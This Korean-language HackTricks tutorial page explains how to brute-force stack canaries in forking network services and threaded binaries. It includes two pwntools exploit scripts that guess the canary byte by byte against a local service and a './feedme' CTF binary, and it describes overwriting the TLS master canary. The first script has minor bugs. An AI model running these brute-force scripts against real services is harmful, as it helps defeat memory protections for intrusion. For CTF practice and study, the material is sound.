BF Forked & Threaded Stack Canaries

HackTricks 지원

캐너리와 PIE (Position Independent Executable)로 보호된 이진 파일에 직면했다면 아마 그것들을 우회해야 할 방법을 찾아야 할 것입니다.

**checksec**가 이진 파일이 캐너리로 보호되었음을 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다. 그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우, 이를 수동으로 알아차릴 수 있습니다.

브루트 포스 캐너리

단순한 캐너리를 우회하는 가장 좋은 방법은 이진 파일이 새로운 연결을 설정할 때마다 자식 프로세스를 분기하는 프로그램인 경우입니다(네트워크 서비스), 왜냐하면 연결할 때마다 동일한 캐너리가 사용될 것입니다.

그럼, 캐너리를 우회하는 가장 좋은 방법은 그냥 문자별로 브루트 포스하는 것이며, 추측한 캐너리 바이트가 올바른지 확인하기 위해 프로그램이 충돌했는지 또는 정상적인 흐름을 계속했는지 확인할 수 있습니다. 이 예제에서는 함수가 8바이트 캐너리(x64)를 브루트 포스하고 올바른 추측 바이트와 잘못된 바이트를 구분하기 위해 서버로부터 응답이 전송되었는지 확인합니다(다른 상황에서는 try/except를 사용할 수도 있습니다):

예제 1

이 예제는 64비트용으로 구현되었지만 32비트용으로 쉽게 구현할 수 있습니다.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

예제 2

이는 32비트용으로 구현되었지만 쉽게 64비트로 변경할 수 있습니다. 또한 이 예제에서는 프로그램이 먼저 입력의 크기를 나타내는 바이트를 예상합니다.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

쓰레드

동일한 프로세스의 쓰레드는 또한 동일한 캐너리 토큰을 공유하므로, 바이너리가 공격이 발생할 때마다 새로운 쓰레드를 생성한다면 캐너리를 무차별 대입하여 찾을 수 있을 것입니다.

게다가, 캐너리로 보호된 쓰레드 함수에서의 버퍼 오버플로우는 TLS에 저장된 마스터 캐너리를 수정하는 데 사용될 수 있습니다. 이는 쓰레드의 스택에서의 버퍼 오버플로우를 통해 TLS가 저장된 메모리 위치에 도달할 수 있기 때문입니다. 결과적으로, 체크가 두 개의 동일한 캐너리로 사용되기 때문에 (수정된 캐너리지만), 이러한 방어는 쓸모가 없어집니다. 이 공격은 다음의 writeup에서 수행됩니다: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

또한 https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015의 발표를 확인하십시오. 이 발표에서는 보통 TLS가 **mmap**에 의해 저장되며, 쓰레드스택이 생성될 때도 이에 따라 mmap에 의해 생성된다고 언급합니다. 이는 이전 writeup에서 보여진 것처럼 오버플로우를 허용할 수 있습니다.

다른 예제 및 참조

Last updated